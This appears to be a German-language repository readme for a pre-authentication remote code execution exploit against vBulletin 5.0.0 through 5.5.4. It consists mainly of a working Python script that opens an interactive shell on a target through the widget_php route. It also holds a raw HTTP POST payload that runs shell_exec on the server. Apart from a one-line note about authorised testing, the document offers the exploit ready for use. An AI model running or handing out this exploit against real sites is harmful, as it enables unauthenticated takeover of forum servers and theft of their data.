ianxtianxt/vbulletin-5.x-0day-pre-auth-rce-exploitPre-Authentifizierungs-Exploit zur Remote-Codeausführung für vBulletin 5.x (Versionen 5.0.0 bis 5.5.4). Stellt über das widget_php-Widget eine Shell bereit. Nur für autorisierte Sicherheitstests verwenden.
Betroffene Versionen: vBulletin 5.0.0 bis 5.5.4
PoC wie folgt:
#!/usr/bin/python
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s " % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = raw_input("vBulletin$ ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print r.text
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit(" Closing shell...")
except Exception, e:
sys.exit(str(e))
POST / HTTP/1.1
Host: *
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27ifconfig%27%29%3B+exit%3B